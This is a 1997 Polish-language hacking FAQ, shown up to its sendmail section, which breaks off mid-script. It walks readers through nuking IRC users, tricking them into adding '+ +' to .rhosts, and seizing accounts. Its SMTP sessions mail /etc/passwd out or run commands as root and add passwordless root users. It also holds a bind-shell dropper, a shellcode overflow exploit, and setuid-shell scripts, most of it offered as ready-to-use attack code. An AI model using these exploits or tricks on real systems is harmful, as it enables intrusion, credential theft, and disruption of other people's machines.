

POWER & Lcamtuf HACK FAQ

ver 1.00

14.09.97

<http://www.serwer.com/plfaq/>

RELEASE NOTES: Jest to ostatnia wersja faq w tej postaci. Zdecydowalismy pozbyc sie wszystkiego co dotychczas sie tu znajdowalo i napisac faq od poczatku, bardziej sie to tej zabawy przykladajac. To jest wiec ostatnia sztuka, nastepne wersje nie beda zawieraly 3/4 starych materialow.

Dobra - zaczne od tego, ze nie ponosimy zadnej odpowiedzialnosci jesli ktos zrobi sobie krzywde lub straci dostep do internetu na skutek lektury tego tekstu. Sa to wiadomosci napisane w celach edukacyjnych ;) A jesli masz juz zamiar wykorzystac je - przeczytaj DOKŁADNIE czesc o tym, jak hackowac by uniknac kłopotow (III).

Czesc materialow zostala napisana przez nas, natomiast czesc to przetlumaczone i opisane fragmenty z anglojezycznych faq'ow albo opracowane przez nas exploity.

UWAGA: NIE WYSYLAJ TEGO FAQ POCZTA W POSTACI NIESPAKOWANEJ (TXT) - ZAWSZE PRZED WYSŁANIEM SPAKUJ JE CZYMKOLWIEK. UCHRONI CIE TO PRZED UTRATA DANYCH :)

I Czesc pierwsza, czyli hackowanie IRC

- 1 Triki IRC.....: POWER
- 2 Przejmowanie kanalu.....: POWER
- 3 Winnuke , port 139: POWER + lcamtuf
- 4 Wlam na konto dzieki IRC.....: POWER
- 5 Jak namierzac i nukowac gosci na irc.....: lcamtuf
- 6 Sirc2, czyli irc-owy spoofer.....: BANAN
- 7 Eggdrop hole.....: POWER

II Czesc druga, czyli poczta.

- 1 Wysylanie fakemaila.....: POWER
- 2 Hackowanie sendmaila starszego niz 5.55.....: POWER
- 3 Root z sendmaila 8.8.4.....: MaLc00Lm + POWER
- 4 SENDMAIL 5.64.....: lcamtuf
- 5 SENDMAIL 5.65.....: lcamtuf
- 6 SENDMAIL 8.6.7.....: lcamtuf
- 7 SENDMAIL 5.x.....: lcamtuf
- 8 SENDMAIL 4.1.....: lcamtuf
- 9 SENDMAIL 8.6.9.....: lcamtuf
- 10 SENDMAIL 8.6.?.....: lcamtuf
- 11 SENDMAIL 8.6.12.....: lcamtuf
- 12 SENDMAIL 8.7 - 8.8.2.....: lcamtuf
- 13 Sendmail Scanner.....: lcamtuf
- 14 Zdalny root z 8.8.4.....: POWER

III Jak hackowac, by nie narobic sobie kłopotow.

- 1 Podstawy.....: POWER
- 2 Jak sie wlamac bezpiecznie.....: lcamtuf
- 3 KillLOG.....: lcamtuf
- 4 Sendmaile - jak dzialac ostroznie.....: lcamtuf

IV Unix - to slowo mowi wszystko.

1 Jak zdobyc hasla.....	: POWER + lcantuf
2 Jak dekryptowac hasla Unixa.....	: POWER
3 Komendy Unixa.....	: POWER
4 Finger.....	: POWER
5 Jak komus zamknac konto(czasowo).....	: POWER
6 /tmp.....	: POWER + lcantuf
7 Wlamac sie do servera jako guest.....	: lcantuf
8 Ping flood.....	: POWER
9 Jak kogos nastraszyć.....	: POWER
10 Do czego sluza pliki .xxxxx	: POWER + lcantuf
11 Sciaganie passwd.....	: POWER
12 Jak zalozyc nowe konto.....	: POWER
13 ident-scan.c - skanuje dziury servera.....	: POWER
14 kill all processes.....	: POWER
15 Suid - jak i po co.....	: lcantuf
16 suidperl.....	: lcantuf
17 Abuse - RedHat 2.1.....	: lcantuf
18 BSD Crontab.....	: lcantuf
19 Dziura w cfingerd 1.0.1.....	: lcantuf
20 IRIX 6.2 - bug rejestracji.....	: lcantuf
21 do_chatkey().....	: lcantuf
22 Bug w DIP.....	: lcantuf
23 Dziura DOSEMU w Debianie 1.1.....	: lcantuf
24 Dziura w dumpie RedHata 2.1.....	: lcantuf
25 Jak kogos zniszczyc.....	: lcantuf
26 Bug w IMAPD.....	: lcantuf + POWER
27 Heh, resolv.....	: lcantuf
28 rxvt bug.....	: lcantuf
29 Kill all processes, 2.....	: lcantuf
30 splitvt.....	: lcantuf
31 Hasla z core.....	: lcantuf
32 Dziura w zgv.....	: lcantuf
33 Instalacja prostego backdoora.....	: lcantuf
34 AIX.....	: lcantuf
35 AIX 2.2.1.....	: lcantuf
36 AIX 3.xx.....	: lcantuf
37 BSD 4.2, ULTRIX 3.0.....	: lcantuf
38 DYNIX 3.14, ULTRIX 2.x.....	: lcantuf
39 DYNIX/IRIX (?).....	: lcantuf
40 HP-UX wcześniejszy od 7.0.....	: lcantuf
41 Solaris 2.5.....	: Brajek
42 Slackware 3.0 i inne, mktemp().....	: lcantuf
43 vconfig() - BSD.....	: lcantuf
44 Jak rozwalic ircII.....	: lcantuf
45 Obsluga dzwieku w DOOMie.....	: lcantuf
46 ppp w FreeBSD.....	: lcantuf
47 fsdump na IRIXie 5.3.....	: lcantuf
48 login na IRIXie 5.3 - 6.3.....	: lcantuf
49 xclock - IRIX 6.3.....	: lcantuf
50 passwd - Solaris 2.5.1.....	: lcantuf
51 Jak polozyc Solarisa 2.5.1 x86.....	: lcantuf
52 dop - DEC 4.0x.....	: lcantuf
53 AIX - shadow.....	: lcantuf
54 svgalib - Linux.....	: lcantuf
55 sperl5.00x.....	: lcantuf
56 AIX 4.1.4 - 4.2 crash.....	: POWER
57 root na AIX 4.2.....	: POWER
58 Unshadow freeBSD 2.1.0,5 HPUX 9.3 BSDI 2.1.....	: POWER
59 root na HP 9000 series 300/400/700/800s.....	: POWER
60 Podmontowywanie shelli.....	: POWER
61 fdformat buffer overflow bug.SunOS 5.3-5.....	: POWER
62 Jak zdobyc roota za pomoca ftp.....	: BANAN
63 IRIX 5.3,6.2 /usr/bsg/ordist stack overflow.....	: POWER
64 AIX 3.2, 4.1 i 4.2 ping stack overflow.....	: POWER
65 rpc.mountd.....	: POWER

66 Linux 2.0.0, 2.0.30 (SW 3.0) lpr hole.....: POWER

V Dziury w WWW.

- 1 phf.....: POWER
- 2 php.....: POWER
- 3 phpscan.c - skaner php.....: POWER
- 4 phpget.c - a jak myslisz???.....: POWER
- 5 Vito.c - tester dziur servera http.....: POWER

VI Kłopoty.....: POWER

VII Skrypty java

- 1 Killer java.....: lcantuf

VIII Błagi serwerów HTTP

- 1 Hasła BSD.....: lcantuf
- 2 Hasła (?).....: lcantuf
- 3 Hasła BSD.....: lcantuf
- 4 WinNT.....: lcantuf
- 5 WinNT.....: lcantuf
- 6 WinNT, Netscape Server.....: lcantuf
- 7 IntranetWare.....: lcantuf
- 8 CERN.....: lcantuf
- 9 Wyszukiwarki.....: lcantuf
- 10 Dziura HTTPD w NCSA 1.42 - 1.5.....: lcantuf

IX Błagi w przeglądarkach WWW i OSach

- 1 Bug w Internet Explorerze.....: lcantuf
- 2 Jak zerwać połączenie lamerowi.....: lcantuf
- 3 Jak rozwalić winNT przez www.....: lcantuf

X Coś dla lamerów.....: POWER

XI Rejestry SHIT'a 95.....: Ultor

XII Social engineering.....: POWER

XIII Backdoors

- 1 Backdoor by lcantuf.....: lcantuf
- 2 Co to są tylne drzwi.....: BANAN
- 3 Instalacja tylnych drzwi.....: BANAN
- 4 Tylne drzwi w sendmailach.....: BANAN
- 5 Jak zachować tylne drzwi.....: BANAN
- 6 Tylne drzwi na port 530.....: BANAN

XIV Ciekawe adresy.....: lcantuf

XV Windows NT

- 1 WS_FTP.INI bug.....: POWER
- 2 Powalenie Windows NT 4.0 z WINS'em.....: POWER

I Cześć pierwsza, czyli hackowanie IRC

- 1 Triki IRC : POWER

Na początek coś lekkiego, czyli jak narobić nieco zamieszania na ircu.
Nie ma to co prawda wiele wspólnego z hackiem, ale jest dobrym początkiem :)

- Fakeowanie mass deopa.
 - o Zmien nicka na mode
 - o /me change "-oooo <chanop> <chanop> <chanop> <chanop>" on channel <channel> by <yournick>
 - o mozesz dolozyc tez skrypt, ktor automatycznie bedzie dodawal nick opow.
- Glupi zart
 - o Zapros kogos na kanal #5,0 , jesli tam wejdzie, zostanie wyrzucony ze wszystkich kanalow irc.
- Zdejmowanie +r
 - o Napisz /mode <twoj nick> -r+iw - to juz nie dziala na wielu serwerach, ale sa dwie dobre metody obejścia tego - po pierwsze polaczenie sie z innym serwerem irc, na którym nie masz +r (ich liste otrzymasz wpisujac /links). Druga metoda to zdobycie konta u innego providera internetu (można dostac od kumpla) lub skorzystanie z tzw. anonIRC, czyli swego rodzaju "bramki" pozwalajacej niemal anonimowo korzystac z irc. Serwery anonIRC pojawiaja sie i znikaja co chwile, trzeba wiec popytac.
- /dev/null : c64
 - o Jesli chcesz wkuzyć jakiegos lamera, wyslij mu w dcc plik /dev/null

2 Przejmowanie kanalu : POWER

- Narzedzia - potrzebujesz Link lookera(polecam windows link lookera pod shita 95) i Multi colider bots(choc to drugie nie jest niezbedne).
- Odpalamy Link lookera i szukamy serverow, ktore odlaczyly sie od naszej sieci.
- Laczmy sie z odlaczonym serverem i wchodzimy na kanal, ktory nas interesuje, jezeli kanal byl pusty, a my nie mielismy +r to otrzymamy opa.
- Teraz warto siedziec po drugiej stronie, gdzie wszyscy siedza na kanale i spisac kto ma opa.
- Nie jest to niezbedne, ale jesli kanalem rządzi ludzie doswiadczeni, to lepiej odpalic multi colide bots, lub stworzyc dodatkowe sesje po odlaczonej stronie splita, z nikami ludzi, ktorzy maja opa na kanale, ktory jest celem. Jesli czesc ludzi siedzi po jednej, a czesc po drugiej - trzeba postawic mcb na obu serwerach. Jesli interesuje was program, ktory robi to automagicznie - pojawi sie na stronie p0werfaq gdy tylko stworzymy te strone ;-)
- Czekamy na polaczenie(czasem sie nie doczekamy bo trwa to kilka dni, a czasem trwa kilka minut, wiec trzeba sie spieszyc). Wspomniany wyzej program bedzie można postawic na serwerze i isc spokojnie spac, gdy rano wejdiesz na kanal - bedzie on juz w TWOICH rekach :-)
- Po polaczeniu czekamy az wszystkie nasz sesje zabija sie z sesjami osob po drugiej stronie, ktore mialy opa.
- Pozniej po pelnej wymianie informacji przez serwery mamy opa na obydwu serwerach i wtedy odbieramy opa wszystkim pozostalym osoba, którym udalo sie przetrwac atak i kanal jest nasz.
- nie musze chyba mowic co wtedy robimy z kanalem: Invited only, key, topic: Hacked by, moderate i inne takie wkurwiacze niszczace kanal!!!!
- Moze zdarzyc sie tez, ze namieszamy tak, ze serwery nie beda mogly sie dogadac i powstana lagi i desynchronizacje, wtedy serwery beda polaczone, ale kanaly tak do konca nie no i trzeba bedzie probowac jeszcze raz.
- Wiem ze moze niezbyt jasno opisalem ta metode, ale mowi sie trudno:)

3 Winnuke, port 139 : POWER + lcamtuf

Microsoft pozostawial w Win95 i NT mnostwo dziur, a jedna z ciekawszych to niezwykle zachowanie sie systemu po otrzymaniu pakietu OOB (Out Of Bound) na port 139. Tresc pakietu nie gra jakiegokolwiek roli, system... pada. Zaleznie od konfiguracji albo sie zawiesza (NT), albo pada system obslugi tcp/ip (95), co w obu wypadkach zmusza uzytkownika do zresetowania komputera. Można w ten sposob pozbyc sie uciążliwego lamera na ircu.

Do nukowania sluzy program WinNuke, ktory dostepny jest w wersjach dla win95 i dla unixa dostepnych na stronie domowej p&l hack faq'a.

W przypadku wersji windowsowej trzeba podac IP goscia - oto jak to zrobic najprosciej (nie majac zadnych dodatkowych programow):

- Wpisz na ircu /whois i nick goscia
- Pojawi sie cos w stylu "Address: wiochmen@port23.pol.pl"
- Wcisnij "start", wybierz "uruchom..." i wpisz "ping port23.pol.pl"
- Pojawi sie okienko, a w nim powoli pojawi sie kilka linii:
Pinging port23.pol.pl [194.204.153.23] with 32 bytes of data:
...
- Wazny dla ciebie jest adres IP, czyli 194.204.153.23 - skopiuj go szybko do schowka i wklej do winnuka, wpisz jakis tekst ponizej i...

W przypadku wersji unixowej postepuj tak:

- Przegraj to na jakies konto unixowe za pomoca ftp.
- Zmien nazwe na win.c
- skompiluj przez telnet: gcc win.c
- teraz wystarczy napisac: ./a.out cel, gdzie "cel" to adres domeny lub IP goscia np: ppp2-cst323.warszawa.tpnet.pl lub 194.160.132.70

A teraz powiem jak sie przed tym zabezpieczyc, przynajmniej na shicie 95, bo pod windows NT trzeba sciagnac Service Pack 3 (jakies 20 MB):

- Uruchom program "regedit.exe" , znajduje sie on w katalogu twoich winow.
- Wejdz do "galezi"
Hkey_Local_Machine\System\CurrentControlSet\Services\VxD\MSTCP
- Potem nacisnij "Edycja" , "Nowy" , "Wartosc ciagu" i wpisz "BSDUrgent"
- Pozniej nacisnij "Edycja" , "Modyfikuj" i w polu "Dane wartosci" wpisz 0 (zero)
- Zamknij system i uruchom windows ponownie

WAZNE: Jesli ci nie wychodzi - zajrzyj do dalszego rozdzialu, gdzie opisalem jak namierzac gosci na irc.

4 Wlam na konto dzieki IRC : POWER

Jesli dodasz "+ +" do czyjegos pliku .rhosts spowodujesz, ze kazdy system bedzie zaufany dla jego konta (dotyczy to tylko systemow z zaimplementowanym systemem rozproszonego zaufania, na nowych linuxach nie dziala ta sztuczka). Pozwoli ci to na Remote login na jego konto bez podania hasla. Jednym ze sposobow "przemycenia" tej linijki moze byc dodanie jej do jakiegos popularnego skryptu IRC. Mozna tez napisac wlasny skrypt i go zainfekowac. Oto linijka, ktora trzeba dodac: "exec echo + + > \$HOME/.rhosts"... Oczywiscie jesli uzytkownik okaze sie lamerem - mozesz dodac mu ta linijke nawet nie silac sie na "ulepszanie" skryptow IRC. Wystarczy powiedziec mu, ze ma zle ustawione cos w IRCu i zeby wpisal cos mniej wiecej takiego: "/exec echo + + > \$HOME/.rhosts". Gdy tylko palant to wpisze - dajecie: "rlogin <serwer ofiary> -l <username ofiary>", czyli jesli gosciu ma identyfikator lamer na serwerze idioci.com.pl to wpisz: "rlogin idioci.com.pl -l lamer" - oczywiscie z konta unixowego.

Oto przyklad jak zalatwia sie tym lamera:

```
-- POCZATEK LOGA --
<hacker> hej, chcesz swietny skrypt irc? fenix
<|Warlock> a co to jest?
<hacker> .... (tu wyjasnienia, wiecie - lamer to lamer :- )
<|Warlock> ddobra, dawaj.
/exec echo "exec echo + + > ~/.rhosts" >>fenix.irc
/dcc send |Warlock fenix.irc
*** Sent DCC SEND request to |Warlock
*** DCC SEND connection to |Warlock [194.204.180.11,1384] established
*** DCC SEND: /home/myuser/fenix.irc to |Warlock completed 0.04004 kb/sec
<|Warlock> ok, dostalem. co mam z tym zrobic?
```

```
<hacker> wystarczy ze wpiszesz "/load fenix.irc"
<|Warlock> dobra, juz. dzieki.
/whois |Warlock
*** |Warlock is doktor@grom.softel.elblag.pl (Doktor)
*** on channels: #plhack
*** on irc via server krakow.irc.pl ( )
/quit Ooo ktos przyszedl
```

```
% rlogin grom.softel.elblag.pl -l doktor
```

```
Last login: Tue Feb 14 16:49:42 from ppp194.elblag.tpnet.pl
SunOS Release 4.1.3 (ANY) #2: Fri Sep 9 06:12:28 PDT 1994
```

```
You have mail.
```

```
ANY% ls
chacked      ubercracker    exploities    nude_boyz
```

```
ANY% exit
Connection closed.
```

```
%
-- KONIEC LOGA --
```

Przy okazji wypróbuj skrypt ".login 'trojan'", który zastępuje plik .login skrytem, który podczas logowania będzie pokazywał, że użytkownik podał złe hasło. Goscium wpisze więc hasło drugi raz, a ono zostanie przesłane na twój adres maila, więc widniejący tam adres zamień na swój (ale jakiś darmowy, żeby cie nie dupneli).

Możesz używać tego po wejściu na czyjeś konto dzięki .rlogin jeśli koniecznie chcesz znać hasło klienta.

5 JAK NAMIERZAC I NUKOWAC GOSCI NA IRCU : lcantuf

- NAMIERZANIE (nie działa na łączących się przez niektóre dialupy):

Vrfy - patrzycie na irc-adres gościa (whois), powiedzmy że jest to lamer@komputer1.uczelnia.com. Następnie odpalacie telnet i patrzycie, czy można się połączyć z portem 25 serwera komputer1.uczelnia.com. Jeśli tak to wpiszcie "vrfy lamer" (w miejsce "lamer" to co gość ma przed znakiem @ w irc-adresie). Jeśli się pojawi np. "Maciej Lamerski <lamer@...>" to macie już imię, nazwisko i e-mail na który można wysłać mail-bomby... Może też się pojawić np. "cannot verify user", ale w takiej sytuacji e-mail to irc-adres. Jeśli nie działa albo pojawia się coś w stylu "user unknown" - bierzecie DNS-skaner (dla Win95/WinNT polecam DNS-Workshop z <http://sunsite.icm.edu.pl/tucows>) i wpisujecie adres "komputer1.uczelnia.com". Pojawi się coś w stylu "IP address: 194.204.105.15". Wpisujecie wtedy zamiast "komputer1.uczelnia.com" ten adres, z tym, że ostatnią liczbę zastępujecie znakiem '*'. Pojawi się najpewniej bardzo duuuuzo IP i nazw komputerów i innego syf, np:

```
194.204.105.0: No data
194.204.105.1: No data
.....
194.204.105.14: router.uczelnia.com
.....
194.204.105.15: komputer1.uczelnia.com
194.204.105.16: komputer2.uczelnia.com
.....
194.204.105.50: sklep1.mleczarnia.org.pl
..... (i tak dalej...)
```

Interesujący jest adres występujący na ogół przed stacjami roboczymi (komputerX), czyli router.uczelnia.com (zamiast router może to być: linux, unix, boss, main, zenon, angel, punisher :-). W każdym razie ten oraz ew. kilka podobnych adresów sprawdzamy telnetem - jeśli działa im port 25 i "rozpoznają" (vrfy!) użytkownika "lamer" (czy innego szukanego...) - sukces, mamy gościa - jego e-mail to lamer@router.uczelnia.com.

Tak przy okazji oczywiscie dla wszystkich znalezionych komputerow warto sprawdzic sendmaila, phf, ftp i wszystko inne, a na koniec nukowac wszystkie komputery robocze, bo najpewniej to sa windowsy :-)

- ROZWALANIE W RAZIE GDY WINNUKE NIE DZIAŁA

1. Na chama - nukujemy wszystkie komputery znalezione metoda poprzednia
2. Finger - jesli facet siedzi na unixie i ma irc-adres
lamer@router.uczelnia.com to mozna wyslac do niego finger (na adres lamer@router.uczelnia.com). Unix zwroci dane delikwenta, komputer na ktorym ircuje (np. komputer1.uczelnia.com). I TU GO MACIE, trzeba nukowac nie serwer router.uczelnia.com, bo on pracuje na unixie, ale komputer klienta, ktory najpewniej siedzi na windowsach - komputer1.uczelnia.com

6 Sirc2, czyli irc-owy spoofer : BANAN

Programy o nazwach od sirc2 do sirc4, sa to spoofery za pomoca ktorych mozesz zmienic swoje ip. Pozwala to na zrobienie paru fajnych rzeczy na ircu i nie tylko. Ja podam i opisze sirc2, oraz krotko przedstawie jego funkcje. Spoofer jest dostepny na www.p0werfaq. Oto jak go uzyc:

```
sirc2 1.1.1.1 unseen.org 6667 -i Warlock warlock@lame.com "Doktor Killer"
```

Male wyjasnienie co jest co:

```
1.1.1.1      - twoje ip :)
unseen.org   - serwer irc
6667         - port serwa irc
Warlock      - pod jakim nickiem bedziesz na irc
warlock@...  - uzytkownik i host pod jakim bedziesz na irc (host musi istniec
               w bazach DNS).
"Doktor..." - Informacja jakie jest twoje prawdziwe imie.
```

7 Eggdrop hole

Jesli eggdrop chodzi na roocie, a ty masz na nim ownera to bez problemu mozesz dostac passwd z servera.

```
.tcl exec cat /etc/passwd
[1:21] Tcl: root:zWCF/X7irjQ4E:0:0:root:/:/bin/bash
[1:21] Tcl: bin:*:1:1:bin:/bin:
[1:21] Tcl: daemon:*:2:2:daemon:/sbin:
[1:21] Tcl: adm:*:3:4:adm:/var/adm:
[1:21] Tcl: lp:*:4:7:lp:/var/spool/lpd:
[1:21] Tcl: sync:*:5:0:sync:/sbin:/bin/sync
```

testowane na eggdropie 1.0p

albo pojsc dalej:

```
.tcl exec echo "stupid::394:100:/:/bin/bash" >> /etc/passwd
```

Na starych eggdropach, wersja 0.9p mozesz zostac ownerem bedac masterem!

```
.set owner Chotaire
.chatr Chotaire +n
```

II Czesc druga, czyli poczta

1 Wysylanie fakemaili : POWER

- telnetuj sie na port 25 serwera, np: telnet mim.pcz.czest.pl 25
- Jezeli to mozliwe pomin "HELO"
- pisz: mail from: (i tu czyis adres e-mailowy)
- pisz: rcpt to: (osoba do ktorej piszesz list)
- server pocztowy powinien pisac ok po kazdej funkcji.
- jezeli cos nie bedzie gralo sprobuj jeszcze raz, ale zacznij od "HELO nikt"
- pozniej wpisz: data i wcisnij ENTER
- wpisz zawartosc listu
- na koncu napisz: .
- a pozniej: quit

- jesli odbiorca to lamer, to nie dojdzie do ciebie po naglowku listu, a jezeli jest dobry, to sprobuj uzyc serverow, ktore nie dopisuja twojego IP do listu(pozniej moze poszukam takich serverow).

2 Hackowanie starszego sendmaila niz 5.55 (sprawdzone na SunOs 4.1) : POWER

- Telnetuj sie na port 25 atakowanego serwera: "telnet mail.twoj.cel.pl 25"
- Pojawi ci sie powitanie serwera pocztowego, powinno byc tam jakies 5.x lub 4.x, nowsze wersje lub systemy "nie wygladajace" na zwykle sendmaile mozesz sobie darowac.
- Napisz:

```
helo hacker
mail from: "|/bin/mail twoj@email.pl </etc/passwd"
rcpt to: nikt@gdziestam.com
data
.
quit
```
- Teraz pozostaje tylko czekac, az przyjdzie do ciebie list zawierajacy w srodku hasla do serwera, ktore musisz pozniej zcrackowac.

3 Root z senmaila 8.8.4 : MaLc00Lm

- Musisz miec mozliwosc pisania do /var/tmp/dead.letter, co jest pewnym problemem, ja jeszcze nie widzialem takiego linuxa, ale moze ktos...
- potem robisz linka lub symlinka: ln /etc/passwd /var/tmp/dead.letter (wszystko to na koncie ktore musisz miec na tym hoscie, hahaha)
- potem telnet na 25
- piszesz "mail from: jakis@palant.bla.bla"
- piszesz: "rcpt to: jakis@nie.istniejacy.adres"
- pozniej stukasz "DATA" i w nastepnej linii "hacker::0:0:::/bin/sh", w kolejnej jeszcze "." i "quit".
- list nie trafia nigdzie i jest zapisywany w pliku dead.letter, a poniewaz dead.letter jest tylko symlinkiem do /etc/passwd - nowe konto hacker zostanie dodane do systemu i mozesz juz sie na nie logowac (bez hasla). Poza tym jestes oczywiscie rootem.

PS: dead.letter moze byc czasem w innym katalogu(np uzytkownika) , wtedy uzyj find'a find / -name dead.letter

Na stronie faq jest takze programik, ktory robi to wszystko za ciebie, ale ja za bardzo nie wierze w jego dzialanie. (sm884.exp)

4 SENDMAIL 5.64 : lcamtuf

Blad w programie uuencode, ktory ma dostep do .rhosts na koncie ofiary - mozemy za jego pomoca zmienic zawartosc tego pliku! Na poczatek trzeba zakodowac programem uuencode - dla leni podaje wyglad zakodowanego juz pliku:

```
-- cut here --
```

```
$*R`K"@``
\
```

```
^nd
```

```
-- cut here --
```

Teraz telnetujemy sie na serwer: "telnet ofiara.com 25". Tak wyglada sesja:

```
220 enterprise Sendmail 5.64/zipy-1.22.01 ready at Mon, 25 Jun 97 09:34:12 -0400
(GMT)
```

```
helo hacker
```

```
250 enterprise Hello hacker (ppp2-cst15.warszawa.tpnet.pl), pleased to meet you
mail from: bin
```

```
250 bin... Sender ok
```

```
rcpt to: decode
```

```
250 decode... Recipient ok
```

```
data
```



```
354 Enter mail, end with "." on a line by itself
^egin 644 /XXXX/.rhosts
$*R`K"@``
^nd
.
250 Ok
quit
221 enterprise closing connection
```

Hehe... Program uuencode dostanie do rozkodowania plik .rhosts zawierajacy zakodowany tekst '+ +', rozpakuje go... I mozemy bez hasla zalogowac sie na dowolne konto!!! PS. W miejsce XXXX wpiszcie nazwe konta hackowanego uzytkownikownika (/home/lamer), albo na chama - konto roota (/root)...

5 SENDMAIL 5.65 : lcamtuf

Wywołanie dowolnych poleceń z uprawnieniem roota? Spoko, nie trzeba mieć nawet konta:

```
220 www.urm.gov.pl 5.65c/IDA-1.4.4 Sendmail is ready at Mon, 8 Nov 1993 19:41:13 -
0500
helo hacker
250 Hello ppp2-cst32.warszawa.tpnet.pl, why do you call yourself ?
mail from: |/usr/ucb/tail|/usr/bin/sh
250 |/usr/ucb/tail|/usr/bin/sh... Sender ok
rcpt to: root
250 root... Recipient ok
data
354 Enter mail, end with @.@ on a line by itself
#!/bin/sh
# Tu dowolne polecenia, powiedzmy takie:
echo hacker::0:0:nikt:/:/bin/bash >>/etc/passwd
.
250 Ok
quit
221 www.urm.gov.pl closing connection
```

6 SENDMAIL 8.6.7 : lcamtuf

Trzeba mieć konto, ale jeśli się na nim wpisze:

```
/usr/lib/sendmail -oE/etc/shadow bounce
From: (nazwa twojego konta)
```

To dostaniesz w prezecie hasła, choćby były shadowowane!!! Można tak przeczytać każdy plik.

7 SENDMAIL 5.x : lcamtuf

Utwórz plik 'test' o takiej zawartości (XXXX znaczy to samo co w #5):

```
-- CUT HERE --
rcpt to: /XXXX/.rhosts
mail from: hacker
data
Test sendmaila
.
rcpt to: /XXXX/.rhosts
mail from: hacker
data
+ +
.
quit
-- CUT HERE --
```

A teraz wpisz "telnet ofiara.com 25 <test"
 Jesli pojdzie dobrze to sendmail po dwoch probach (heheheh) dopisze
 gosciowi '+' do .rhosts i bedziesz mogl sie zalogowac (nawet na koncie
 roota).

8 SENDMAIL 4.1 (zerzniete dosc dokladnie) : lcantuf

Oto program pozwalajacy uruchomic cokolwiek przez sendmaila... Byla tez
 opisana wersja do odpalenia na unixie (skrypt), ale podaje tylko to dla
 sendmaila. Oto jak wyglada sesja (najlepiej to wyciac, zapisac jako plik
 test i uruchomic wpisujac "telnet ofiara.com 25 <test"):

```
-- CUT HERE --
helo
mail from: |
rcpt to: bounce
data
.
mail from: bin
rcpt to: | sed '1,/^\$/d' | sh
data
cat > /tmp/a.c <<EOF
#include <sys/types.h>
#include <sys/signal.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
int **av;{struct sockaddr_in mya;struct servent *sp
;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
=htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
(struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
(select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x<
NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2
(0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new);
goto loop;}
EOF
cd /tmp
/bin/cc /tmp/a.c
/bin/rm a.c
/tmp/a.out 7008 /bin/sh
.
quit
-- CUT HERE --
```

9 SENDMAIL 8.6.9 : lcantuf

Programik do uzyskania dostepu jako "bin" do systemu plikow... Hemm, C.
 Kompilacja: cc smh.c -osmh
 Wywołanie: "./smh" albo "./smh nazwa_uzytkownika sciezka_do_sendmaila".

```
-- CUT HERE --
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

main(argc, argv)
```

```

int argc;
char **argv;
{
    execlp(argv[2] ? argv[2] : "sendmail", "sendmail", "-odq", "-p",
        "ascii\nCroot\nMprog, P=/bin/sh, F=lsDFMeu, A=sh -c $u\nMlocal,
P=/bin/sh, F=lsDFMeu,
A=sh -c $u\nR<\"|/bin/cp /bin/sh /tmp/newsh\">\nR<\"|/bin/chmod 6777
/tmp/newsh\">\n$Rascii ",
        argv[1] ? argv[1] : "atreus", 0);
}
-- CUT HERE --

```

10 SENDMAIL 8.6.? : lcamtuf

Odczytanie pliku (potrzebne konto): "/usr/lib/sendmail -C/etc/shadow".
Zamiast /etc/passwd mozecie wstawic jakikolwiek inny plik.

11 SENDMAIL 8.6.12 : lcamtuf

Ten oto program w c pozwala lokalnie uzyskac roota w systemach zaopatrzonych w sendmaila 8.6.12. Jest w wiekszosci napisany w assemblerze, wiec nie wnika w jego dzialanie, w kazdym razie po uruchomieniu, podobnie jak w przypadku exploita 8.7-8.8.2 otrzymamy w /tmp root shella, ktorego nalezy uruchomic (polecenie /tmp/sh :-). A oto i program (cudzy):

```

-- CUT HERE --
#include <stdio.h>

main() {
    void make_files();
    make_files();
    system("EDITOR=./hack;export EDITOR;chmod +x hack;chfn;/usr/sbin/sendmail");
}

void make_files() {
    int i,j;
    FILE *f;
    char nop_string[200];
    char code_string[] = {
        "\xeb\x50" "\x5d" "\x55" "\xff\x8d\xc3\xff\xff\xff"
        "\xff\x8d\xd7\xff\xff\xff" "\xc3" "cp /bin/sh /tmp" "\x3c"
        "chmod a=rsx /tmp/sh" "\x01" "-leshka-leshka-leshka-leshka-"
        "\xc7\xc4\x70\xcf\xbf\xef" "\xe8\xa5\xff\xff\xff"
        "\x81\xc5\xb4\xff\xff\xff" "\x55" "\x55" "\x68\xd0\x77\x04\x08"
        "\xc3" "-leshka-leshka-leshka-leshka-" "\xa0\xcf\xbf\xef"
    };
    j=269-sizeof(code_string);
    for(i=0;i<j;nop_string[i++]='\x90');
    nop_string[j]='\0';
    f=fopen("user.inf","w");
    fprintf(f,"#Changing user database information for leshka\n");
    fprintf(f,"Shell: /usr/local/bin/bash\n");
    fprintf(f,"Location: \n");
    fprintf(f,"Office Phone: \n");
    fprintf(f,"Home Phone: \n");
    fprintf(f,"Full Name: %s%s\n",nop_string,code_string);
    fclose(f);
    f=fopen("hack","w");
    fprintf(f,"cat user.inf>\"$1\"\\n");
    fprintf(f,"touch -t 2510711313 \"$1\"\\n");
    fclose(f);
}
-- CUT HERE --

```

12 SENDMAIL 8.7 - 8.8.2 : lcantuf

Ten oto skrypt sh pozwala lokalnie zdobyc roota. Po odpaleniu tego programu otrzymamy w katalogu /tmp root shella. Uruchamiamy go poleceniem /tmp/sh i jestesmy rootem ;-)

```
-- CUT HERE --
#/bin/sh
echo 'main(){execl("/usr/sbin/sendmail","/tmp/smtpd",0);} '>p1.c
echo 'main(){setuid(0);setgid(0);} '>p2.c
echo 'system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");' '>p2.c
cc -o pl p1.c
cc -o /tmp/smtpd p2.c
./pl
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]"
